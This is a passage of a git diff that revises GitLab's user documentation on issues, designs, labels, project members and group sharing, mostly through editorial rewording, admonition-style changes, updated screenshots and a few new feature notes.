[hashed storage](../../../administration/raketasks/storage.md#migrate-to-hashed-storage). Since
- GitLab 10.0, newly created projects use hashed storage by default. A GitLab admin can verify the storage type of a
+ GitLab 10.0, newly created projects use hashed storage by default. A GitLab administrator can verify the storage type of a
project by navigating to **Admin Area > Projects** and then selecting the project in question.
A project can be identified as hashed-stored if its *Gitaly relative path* contains `@hashed`.
@@ -95,7 +95,7 @@ you can drag and drop designs onto the dedicated drop zone to upload them.
[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202634)
in GitLab 12.10, you can also copy images from your file system and
-paste them directly on GitLab's Design page as a new design.
+paste them directly on the GitLab Design page as a new design.
On macOS you can also take a screenshot and immediately copy it to
the clipboard by simultaneously clicking <kbd>Control</kbd> + <kbd>Command</kbd> + <kbd>Shift</kbd> + <kbd>3</kbd>, and then paste it as a design.
@@ -170,7 +170,7 @@ Once selected, click the **Delete selected** button to confirm the deletion:
![Delete multiple designs](img/delete_multiple_designs_v12_4.png)
-NOTE: **Note:**
+NOTE:
Only the latest version of the designs can be deleted.
Deleted designs are not permanently lost; they can be
viewed by browsing previous versions.
diff --git a/doc/user/project/issues/due_dates.md b/doc/user/project/issues/due_dates.md
index b3ebefadef0..63cd784333a 100644
--- a/doc/user/project/issues/due_dates.md
+++ b/doc/user/project/issues/due_dates.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Due dates
diff --git a/doc/user/project/issues/index.md b/doc/user/project/issues/index.md
index 716377f2e45..05e7eb3021a 100644
--- a/doc/user/project/issues/index.md
+++ b/doc/user/project/issues/index.md
@@ -1,10 +1,10 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Issues
+# Issues **(CORE)**
Issues are the fundamental medium for collaborating on ideas and planning work in GitLab.
@@ -35,7 +35,7 @@ you can also view all the issues collectively at the group level.
See also [Always start a discussion with an issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/).
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-To learn how GitLab's Strategic Marketing department uses GitLab issues with [labels](../labels.md) and
+To learn how our Strategic Marketing department uses GitLab issues with [labels](../labels.md) and
[issue boards](../issue_board.md), see the video on
[Managing Commitments with Issues](https://www.youtube.com/watch?v=cuIHNintg1o&t=3).
@@ -93,7 +93,7 @@ must be set.
While you can view and manage the full details of an issue on the [issue page](#issue-page),
you can also work with multiple issues at a time using the [Issues List](#issues-list),
-[Issue Boards](#issue-boards), Issue references, and [Epics](#epics)**(PREMIUM)**.
+[Issue Boards](#issue-boards), Issue references, and [Epics](#epics). **(PREMIUM)**
Key actions for issues include:
@@ -191,6 +191,7 @@ requires [GraphQL](../../../api/graphql/index.md) to be enabled.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10.
> - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4 and later.
> - Issue health status visible in issue lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45141) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.6.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7.
To help you track the status of your issues, you can assign a status to each issue to flag work
that's progressing as planned or needs attention to keep on schedule:
@@ -207,16 +208,6 @@ until the issue is reopened.
You can then see issue statuses in the [issue list](#issues-list) and the
[Epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree).
-#### Disable issue health status
-
-This feature comes with the `:save_issuable_health_status` feature flag enabled by default. However, in some cases
-this feature is incompatible with old configuration. To turn off the feature while configuration is
-migrated, ask a GitLab administrator with Rails console access to run the following command:
-
-```ruby
-Feature.disable(:save_issuable_health_status)
-```
-
## Other Issue actions
- [Create an issue from a template](../../project/description_templates.md#using-the-templates)
diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md
index a5f60fbd515..2520a562f1e 100644
--- a/doc/user/project/issues/issue_data_and_actions.md
+++ b/doc/user/project/issues/issue_data_and_actions.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issue Data and Actions
@@ -10,14 +10,16 @@ Please read through the [GitLab Issue Documentation](index.md) for an overview o
## Parts of an Issue
-The image below illustrates what an issue may look like. Note that certain parts will
-look slightly different or will be absent, depending on the version of GitLab being used
-and the permissions of the user viewing the issue.
+The image below illustrates what an issue may look like. Certain parts
+look slightly different or are absent, depending on the GitLab version
+and the user's permissions.
-You can find all the information for that issue on one screen.
+You can find all of an issue's information on one page.
![Issue view](img/issues_main_view_numbered.png)
+The numbers in the image correspond to the following features:
+
- **1.** [Issue actions](#issue-actions)
- **2.** [To Do](#to-do)
- **3.** [Assignee](#assignee)
@@ -47,10 +49,6 @@ You can find all the information for that issue on one screen.
- **25.** [Submit comment, start a thread, or comment and close](#submit-comment-start-a-thread-or-comment-and-close)
- **26.** [Zoom meetings](#zoom-meetings)
-An issue starts with its status (open or closed), followed by its author,
-and includes many other functionalities, numbered in the image above to
-explain what they mean, one by one.
-
Many of the elements of the issue screen refresh automatically, such as the title and
description, when they are changed by another user. Comments and system notes also
update automatically in response to various actions and content updates.
@@ -89,17 +87,17 @@ An issue can be assigned to:
- Another person.
- [Many people](#multiple-assignees). **(STARTER)**
-The assignee(s) can be changed as often as needed. The idea is that the assignees are
+The assignees can be changed as often as needed. The idea is that the assignees are
responsible for that issue until it's reassigned to someone else to take it from there.
-When assigned to someone, it will appear in their assigned issues list.
+When assigned to someone, it appears in their assigned issues list.
-TIP: **Tip:**
+NOTE:
If a user is not member of that project, it can only be
assigned to them if they created the issue themselves.
#### Multiple Assignees **(STARTER)**
-Often multiple people work on the same issue together, which can be especially difficult
+Often, multiple people work on the same issue together. This can be difficult
to track in large teams where there is shared ownership of an issue.
In [GitLab Starter](https://about.gitlab.com/pricing/), you can
@@ -116,10 +114,10 @@ Select a [milestone](../milestones/index.md) to attribute that issue to.
### Time tracking
-Use [GitLab Quick Actions](../quick_actions.md) to [track estimates and time spent on issues](../time_tracking.md).
-You can add an [estimate of the time it will take](../time_tracking.md#estimates)
-to resolve the issue, and also add [the time spent](../time_tracking.md#time-spent)
-on the resolution of the issue.
+Use [GitLab Quick Actions](../quick_actions.md) to [track estimates and time
+spent on issues](../time_tracking.md). You can add a [time estimate](../time_tracking.md#estimates)
+for resolving the issue, and also add [the time spent](../time_tracking.md#time-spent)
+to resolve the issue.
### Due date
@@ -132,13 +130,12 @@ element. Due dates can be changed as many times as needed.
Categorize issues by giving them [labels](../labels.md). They help to organize workflows,
and they enable you to work with the [GitLab Issue Board](index.md#issue-boards).
-Group Labels, which allow you to use the same labels for all projects within the same
-group, can be also given to issues. They work exactly the same, but they are immediately
+Group Labels, which allow you to use the same labels for all projects in the same
+group, can also be given to issues. They work exactly the same, but are immediately
available to all projects in the group.
-TIP: **Tip:**
-If a label doesn't exist yet, you can click **Edit**, and it opens a dropdown menu
-from which you can select **Create new label**.
+If a label doesn't exist yet, you can create one by clicking **Edit**
+followed by **Create new label** in the dropdown menu.
### Weight **(STARTER)**
@@ -148,9 +145,8 @@ positive values or zero are allowed.
### Confidentiality
-You can [set an issue to be confidential](confidential_issues.md). When set, unauthorized
-users will not be able to access the issue, and will not see it listed in project
-issue boards or the issue list.
+You can [set an issue to be confidential](confidential_issues.md). Unauthorized users
+cannot access the issue, and it is not listed in the project's issue boards nor list for them.
### Lock issue
@@ -165,7 +161,7 @@ or were mentioned in the description or threads.
### Notifications
Click on the icon to enable/disable [notifications](../../profile/notifications.md#issue--epics--merge-request-events)
-for the issue. This will automatically enable if you participate in the issue in any way.
+for the issue. Notifications are automatically enabled after you participate in the issue in any way.
- **Enable**: If you are not a participant in the discussion on that issue, but
want to receive notifications on each update, subscribe to it.
@@ -180,9 +176,9 @@ for the issue. This will automatically enable if you participate in the issue in
### Edit
-Clicking this icon opens the issue for editing, and you will have access to all the
-same fields as when the issue was created. This icon will not display if the user
-does not have permission to edit the issue.
+Clicking this icon opens the issue for editing. All the fields which
+were shown when the issue was created are displayed for editing.
+This icon is only displayed if the user has permission to edit the issue.
### Description
@@ -190,22 +186,20 @@ The plain text title and description of the issue fill the top center of the iss
The description fully supports [GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown-gfm),
allowing many formatting options.
-> [In GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/10103) and later, changes to an issue's description are listed in the [issue history](#issue-history).**(STARTER)**
+> [In GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/10103) and later, changes to an issue's description are listed in the [issue history](#issue-history). **(STARTER)**
### Mentions
You can mention a user or a group present in your GitLab instance with `@username` or
-`@groupname` and they will be notified via to-dos and email, unless they have disabled
-all notifications in their profile settings. This is controlled in the
-[notification settings](../../profile/notifications.md).
+`@groupname`. All mentioned users are notified via to-do items and emails,
+unless they have disabled all notifications in their profile settings.
+This is controlled in the [notification settings](../../profile/notifications.md).
-Mentions for yourself (the current logged in user), will be highlighted in a different
-color, allowing you to easily see which comments involve you, helping you focus on
-them quickly.
+Mentions for yourself (the current logged in user) are highlighted
+in a different color, which allows you to quickly see which comments involve you.
-TIP: **Tip:**
Avoid mentioning `@all` in issues and merge requests, as it sends an email notification
-to all the members of that project's group, which can be interpreted as spam.
+to all the members of that project's group. This might be interpreted as spam.
### Related Issues
@@ -217,18 +211,18 @@ You can also click the `+` to add more related issues.
Merge requests that were mentioned in that issue's description or in the issue thread
are listed as [related merge requests](crosslinking_issues.md#from-merge-requests) here.
Also, if the current issue was mentioned as related in another merge request, that
-merge request will be listed here.
+merge request is also listed here.
### Award emoji
-You can award an emoji to that issue. There are shortcuts to "thumbs_up" and "thumbs_down",
-or you can click on the light gray "face" to choose a different reaction from the
-dropdown list of available [GitLab Flavored Markdown Emoji](../../markdown.md#emoji).
+You can award emojis to issues. You can select the "thumbs up" and "thumbs down",
+or the gray "smiley-face" to choose from the list of available
+[GitLab Flavored Markdown Emoji](../../markdown.md#emoji).
-TIP: **Tip:**
+NOTE:
Posting "+1" as a comment in a thread spams all subscribed participants of that issue,
clutters the threads, and is not recommended. Awarding an emoji is a way
-to let them know your reaction without spamming them.
+to let them know your reaction without notifying them.
### Show all activity
@@ -241,21 +235,20 @@ and selecting either:
Also:
- You can mention a user or a group present in your GitLab instance with
- `@username` or `@groupname` and they will be notified via to-do items
- and email, unless they have [disabled all notifications](#notifications)
+ `@username` or `@groupname` and they are notified via to-do items
+ and emails, unless they have [disabled all notifications](#notifications)
in their profile settings.
-- Mentions for yourself (the current logged in user), will be highlighted
- in a different color, allowing you to easily see which comments involve you,
- helping you focus on them quickly.
+- Mentions for yourself (the current logged-in user) are highlighted
+ in a different color, which allows you to quickly see which comments involve you.
![Show all activity](img/show-all-activity.png)
### Create Merge Request
Create a new branch and [**Draft** merge request](../merge_requests/work_in_progress_merge_requests.md)
-in one action. The branch will be named `issuenumber-title` by default, but you can
-choose any name, and GitLab will verify that it is not already in use. The merge request
-will automatically inherit the milestone and labels of the issue, and will be set to
+in one action. The branch is named `issuenumber-title` by default, but you can
+choose any name, and GitLab verifies that it is not already in use. The merge request
+inherits the milestone and labels of the issue, and is set to automatically
close the issue when it is merged.
![Create MR from issue](img/create_mr_from_issue.png)
@@ -288,11 +281,11 @@ supports [GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown-g
### Submit comment, start a thread, or comment and close
-Once you write a comment, you can:
+After you write a comment, you can:
-- Click **Comment** and your comment will be published.
+- Click **Comment** and to publish your comment.
- Choose **Start thread** from the dropdown list and start a new [thread](../../discussions/index.md#threaded-discussions)
- within that issue's main thread to discuss specific points. This invites other participants
+ in that issue's main thread to discuss specific points. This invites other participants
to reply directly to your thread, keeping related comments grouped together.
![Comment or thread](img/comment-or-discussion.png)
diff --git a/doc/user/project/issues/issue_weight.md b/doc/user/project/issues/issue_weight.md
index 23c1520294d..4e2c8bfd7f1 100644
--- a/doc/user/project/issues/issue_weight.md
+++ b/doc/user/project/issues/issue_weight.md
@@ -2,7 +2,7 @@
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/issue_weight.html'
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issue weight **(STARTER)**
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
When you have a lot of issues, it can be hard to get an overview.
By adding a weight to each issue, you can get a better idea of how much time,
-value or complexity a given issue has or will cost.
+value or complexity a given issue has or costs.
You can set the weight of an issue during its creation, by simply changing the
value in the dropdown menu. You can set it to a non-negative integer
@@ -20,7 +20,7 @@ upper bound is essentially limitless).
You can remove weight from an issue
as well.
-This value will appear on the right sidebar of an individual issue, as well as
+This value appears on the right sidebar of an individual issue, as well as
in the issues page next to a distinctive balance scale icon.
As an added bonus, you can see the total sum of all issues on the milestone page.
diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md
index 62b388ec137..03060ca720c 100644
--- a/doc/user/project/issues/managing_issues.md
+++ b/doc/user/project/issues/managing_issues.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Managing issues
@@ -99,7 +99,7 @@ When you click this link, an email address is generated and displayed, which sho
by **you only**, to create issues in this project. You can save this address as a
contact in your email client for easy access.
-CAUTION: **Caution:**
+WARNING:
This is a private email address, generated just for you. **Keep it to yourself**,
as anyone who knows it can create issues or merge requests as if they
were you. If the address is compromised, or you'd like it to be regenerated for
@@ -112,7 +112,7 @@ this project, where:
- The email body becomes the issue description.
- [Markdown](../../markdown.md) and [quick actions](../quick_actions.md) are supported.
-NOTE: **Note:**
+NOTE:
In GitLab 11.7, we updated the format of the generated email address. However the
older format is still supported, allowing existing aliases or contacts to continue working.
@@ -160,7 +160,7 @@ The "Move issue" button is at the bottom of the right-sidebar when viewing the i
If you have advanced technical skills you can also bulk move all the issues from one project to another in the rails console. The below script will move all the issues from one project to another that are not in status **closed**.
To access rails console run `sudo gitlab-rails console` on the GitLab server and run the below
-script. Please be sure to change **project**, **admin_user** and **target_project** to your values.
+script. Please be sure to change `project`, `admin_user`, and `target_project` to your values.
We do also recommend [creating a backup](../../../raketasks/backup_restore.md#back-up-gitlab) before
attempting any changes in the console.
@@ -193,7 +193,7 @@ from its list and dropping it into the **Closed** list.
### Closing issues automatically
-NOTE: **Note:**
+NOTE:
For performance reasons, automatic issue closing is disabled for the very first
push from an existing repository.
@@ -234,7 +234,7 @@ This translates to the following keywords:
- Resolve, Resolves, Resolved, Resolving, resolve, resolves, resolved, resolving
- Implement, Implements, Implemented, Implementing, implement, implements, implemented, implementing
-Note that `%{issue_ref}` is a complex regular expression defined inside GitLab's
+Note that `%{issue_ref}` is a complex regular expression defined inside the GitLab
source code that can match references to:
- A local issue (`#123`).
diff --git a/doc/user/project/issues/moving_issues.md b/doc/user/project/issues/moving_issues.md
index 8331f865b83..3b40affcdc3 100644
--- a/doc/user/project/issues/moving_issues.md
+++ b/doc/user/project/issues/moving_issues.md
@@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#moving-issues'
---
This document was moved to [another location](managing_issues.md#moving-issues).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/issues/multiple_assignees_for_issues.md b/doc/user/project/issues/multiple_assignees_for_issues.md
index b1806460c08..bb9038062f7 100644
--- a/doc/user/project/issues/multiple_assignees_for_issues.md
+++ b/doc/user/project/issues/multiple_assignees_for_issues.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Multiple Assignees for Issues **(STARTER)**
diff --git a/doc/user/project/issues/related_issues.md b/doc/user/project/issues/related_issues.md
index b040bcf3b03..82b2d4fde52 100644
--- a/doc/user/project/issues/related_issues.md
+++ b/doc/user/project/issues/related_issues.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Related issues **(CORE)**
@@ -23,7 +23,7 @@ The relationship only shows up in the UI if the user can see both issues.
When you try to close an issue that has open blockers, a warning is displayed.
-TIP: **Tip:**
+NOTE:
To manage related issues through our API, visit the [issue links API documentation](../../../api/issue_links.md).
## Adding a related issue
diff --git a/doc/user/project/issues/similar_issues.md b/doc/user/project/issues/similar_issues.md
index 9cbac53ee41..79a50d5f812 100644
--- a/doc/user/project/issues/similar_issues.md
+++ b/doc/user/project/issues/similar_issues.md
@@ -3,3 +3,6 @@ redirect_to: 'index.md#similar-issues'
---
This document was moved to [another location](index.md#similar-issues).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/issues/sorting_issue_lists.md b/doc/user/project/issues/sorting_issue_lists.md
index 8a8359a4b02..b4cb1c383ba 100644
--- a/doc/user/project/issues/sorting_issue_lists.md
+++ b/doc/user/project/issues/sorting_issue_lists.md
@@ -1,13 +1,24 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Sorting and ordering issue lists
+# Sorting and ordering issue lists **(CORE)**
-You can sort a list of issues several ways, including by issue creation date, milestone due date,
-etc. The available sorting options can change based on the context of the list.
+You can sort a list of issues several ways, including by:
+
+- Blocking
+- Created date
+- Due date
+- Label priority
+- Last updated
+- Milestone due date
+- Popularity
+- Priority
+- Weight
+
+The available sorting options can change based on the context of the list.
For sorting by issue priority, see [Label Priority](../labels.md#label-priority).
In group and project issue lists, it is also possible to order issues manually,
@@ -18,19 +29,25 @@ similar to [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list).
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62178) in GitLab 12.2.
When you select **Manual** sorting, you can change
-the order by dragging and dropping the issues. The changed order will persist. Everyone who visits the same list will see the reordered list, with some exceptions.
+the order by dragging and dropping the issues. The changed order persists, and
+everyone who visits the same list sees the updated issue order, with some exceptions.
Each issue is assigned a relative order value, representing its relative
-order with respect to the other issues in the list. When you drag-and-drop reorder
-an issue, its relative order value changes accordingly.
+order with respect to the other issues on the list. When you drag-and-drop reorder
+an issue, its relative order value changes.
-In addition, any time that issue appears in a manually sorted list,
-the updated relative order value will be used for the ordering. This means that
-if issue `A` is drag-and-drop reordered to be above issue `B` by any user in
-a given list inside your GitLab instance, any time those two issues are subsequently
-loaded in any list in the same instance (could be a different project issue list or a
-different group issue list, for example), that ordering will be maintained.
+In addition, any time an issue appears in a manually sorted list,
+the updated relative order value is used for the ordering.
+So, if anyone drags issue `A` above issue `B` in your GitLab instance,
+this ordering is maintained whenever they appear together in any list.
This ordering also affects [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list).
Changing the order in an issue list changes the ordering in an issue board,
and vice versa.
+
+## Sorting by blocking issues
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34247/) in GitLab 13.7.
+
+When you select to sort by **Blocking**, the issue list changes to sort descending by the
+number of issues each issue is blocking. You can use this to determine the critical path for your backlog.
diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md
index c237f46b23a..2f8603e1db0 100644
--- a/doc/user/project/labels.md
+++ b/doc/user/project/labels.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Labels
@@ -90,7 +90,7 @@ Once created, you can edit a label by clicking the pencil (**{pencil}**), or del
a label by clicking the three dots (**{ellipsis_v}**) next to the **Subscribe** button
and selecting **Delete**.
-CAUTION: **Caution:**
+WARNING:
If you delete a label, it is permanently deleted. All references to the label are removed from the system and you cannot undo the deletion.
#### Promote a project label to a group label
@@ -109,7 +109,7 @@ with the old labels are assigned to the new group label.
The new group label has the same ID as the previous project label.
-CAUTION: **Caution:**
+WARNING:
Promoting a label is a permanent action, and cannot be reversed.
To promote a project label to a group label:
diff --git a/doc/user/project/maven_packages.md b/doc/user/project/maven_packages.md
index 4679eed5433..5bfa08de2ed 100644
--- a/doc/user/project/maven_packages.md
+++ b/doc/user/project/maven_packages.md
@@ -3,3 +3,6 @@ redirect_to: '../packages/maven_repository/index.md'
---
This document was moved to [another location](../packages/maven_repository/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/members/img/other_group_sees_shared_project.png b/doc/user/project/members/img/other_group_sees_shared_project.png
deleted file mode 100644
index e4c93a13abb..00000000000
--- a/doc/user/project/members/img/other_group_sees_shared_project.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/members/img/other_group_sees_shared_project_v13_6.png b/doc/user/project/members/img/other_group_sees_shared_project_v13_6.png
new file mode 100644
index 00000000000..e6e3f8f043b
--- /dev/null
+++ b/doc/user/project/members/img/other_group_sees_shared_project_v13_6.png
Binary files differ
diff --git a/doc/user/project/members/img/share_project_with_groups.png b/doc/user/project/members/img/share_project_with_groups.png
deleted file mode 100644
index 0907438cb84..00000000000
--- a/doc/user/project/members/img/share_project_with_groups.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/members/img/share_project_with_groups_tab.png b/doc/user/project/members/img/share_project_with_groups_tab.png
deleted file mode 100644
index fc489aae003..00000000000
--- a/doc/user/project/members/img/share_project_with_groups_tab.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/members/img/share_project_with_groups_tab_v13_6.png b/doc/user/project/members/img/share_project_with_groups_tab_v13_6.png
new file mode 100644
index 00000000000..7d83659ef7a
--- /dev/null
+++ b/doc/user/project/members/img/share_project_with_groups_tab_v13_6.png
Binary files differ
diff --git a/doc/user/project/members/img/share_project_with_groups_v13_6.png b/doc/user/project/members/img/share_project_with_groups_v13_6.png
new file mode 100644
index 00000000000..121e77671a3
--- /dev/null
+++ b/doc/user/project/members/img/share_project_with_groups_v13_6.png
Binary files differ
diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md
index c66103604ed..85cb139c45b 100644
--- a/doc/user/project/members/index.md
+++ b/doc/user/project/members/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Members of a project
@@ -53,7 +53,7 @@ that you'd like to give the user. Note that you can select more than one user.
![Give user permissions](img/add_user_give_permissions.png)
-Once done, hit **Add users to project** and they will be immediately added to
+Once done, select **Add users to project** and they are immediately added to
your project with the permissions you gave them above.
![List members](img/add_user_list_members.png)
@@ -71,7 +71,7 @@ In the dropdown menu, you can see only the projects you are Maintainer on.
![Import members from another project](img/add_user_import_members_from_another_project.png)
Select the one you want and hit **Import project members**. A flash message
-notifying you that the import was successful will appear, and the new members
+displays, notifying you that the import was successful, and the new members
are now in the project's members list. Notice that the permissions that they
had on the project you imported from are retained.
@@ -96,10 +96,13 @@ invitation, change their access level, or even delete them.
![Invite user members list](img/add_user_email_accept.png)
-Once the user accepts the invitation, they will be prompted to create a new
+While unaccepted, the system automatically sends reminder emails on the second, fifth,
+and tenth day after the invitation was initially sent.
+
+After the user accepts the invitation, they are prompted to create a new
GitLab account using the same e-mail address the invitation was sent to.
-Note: **Note:**
+NOTE:
Unaccepted invites are automatically deleted after 90 days.
## Project membership and requesting access
@@ -123,7 +126,7 @@ After access is requested:
Email is sent to the most recently active project maintainers.
- Any project maintainer can approve or decline the request on the members page.
-NOTE: **Note:**
+NOTE:
If a project does not have any maintainers, the notification is sent to the
most recently active owners of the project's group.
diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md
index 395f4353f47..edfe8ae3b5b 100644
--- a/doc/user/project/members/share_project_with_groups.md
+++ b/doc/user/project/members/share_project_with_groups.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Share Projects with other Groups
@@ -24,35 +24,36 @@ This is where the group sharing feature can be of use.
To share 'Project Acme' with the 'Engineering' group:
-1. For 'Project Acme' use the left navigation menu to go to **Members**
+1. For 'Project Acme' use the left navigation menu to go to **Members**.
- ![share project with groups](img/share_project_with_groups.png)
+ ![share project with groups](img/share_project_with_groups_tab_v13_6.png)
-1. Select the 'Share with group' tab
-1. Add the 'Engineering' group with the maximum access level of your choice
-1. Click **Share** to share it
+1. Select the **Invite group** tab.
+1. Add the 'Engineering' group with the maximum access level of your choice.
+1. Optionally, select an expiring date.
+1. Click **Invite**.
- ![share project with groups tab](img/share_project_with_groups_tab.png)
+ ![share project with groups tab](img/share_project_with_groups_tab_v13_6.png)
-1. After sharing 'Project Acme' with 'Engineering', the project will be listed
+1. After sharing 'Project Acme' with 'Engineering', the project is listed
on the group dashboard
- !['Project Acme' is listed as a shared project for 'Engineering'](img/other_group_sees_shared_project.png)
+ !['Project Acme' is listed as a shared project for 'Engineering'](img/other_group_sees_shared_project_v13_6.png)
Note that you can only share a project with:
- groups for which you have an explicitly defined membership
- groups that contain a nested subgroup or project for which you have an explicitly defined role
-Admins are able to share projects with any group in the system.
+Administrators are able to share projects with any group in the system.
## Maximum access level
-In the example above, the maximum access level of 'Developer' for members from 'Engineering' means that users with higher access levels in 'Engineering' ('Maintainer' or 'Owner') will only have 'Developer' access to 'Project Acme'.
+In the example above, the maximum access level of 'Developer' for members from 'Engineering' means that users with higher access levels in 'Engineering' ('Maintainer' or 'Owner') only have 'Developer' access to 'Project Acme'.
## Sharing public project with private group
-When sharing a public project with a private group, owners and maintainers of the project will see the name of the group in the `members` page. Owners will also have the possibility to see members of the private group they don't have access to when mentioning them in the issue or merge request.
+When sharing a public project with a private group, owners and maintainers of the project see the name of the group in the `members` page. Owners also have the possibility to see members of the private group they don't have access to when mentioning them in the issue or merge request.
## Share project with group lock
diff --git a/doc/user/project/merge_requests.md b/doc/user/project/merge_requests.md
index 1d7ebc856c3..5762177882e 100644
--- a/doc/user/project/merge_requests.md
+++ b/doc/user/project/merge_requests.md
@@ -3,3 +3,6 @@ redirect_to: 'merge_requests/index.md'
---
This document was moved to [merge_requests/index.md](merge_requests/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/accessibility_testing.md b/doc/user/project/merge_requests/accessibility_testing.md
index a07a155745e..c518113d3dd 100644
--- a/doc/user/project/merge_requests/accessibility_testing.md
+++ b/doc/user/project/merge_requests/accessibility_testing.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -62,14 +62,14 @@ The report for each URL is saved as an artifact that can be [viewed directly in
A single `gl-accessibility.json` artifact is created and saved along with the individual HTML reports.
It includes report data for all URLs scanned.
-NOTE: **Note:**
+NOTE:
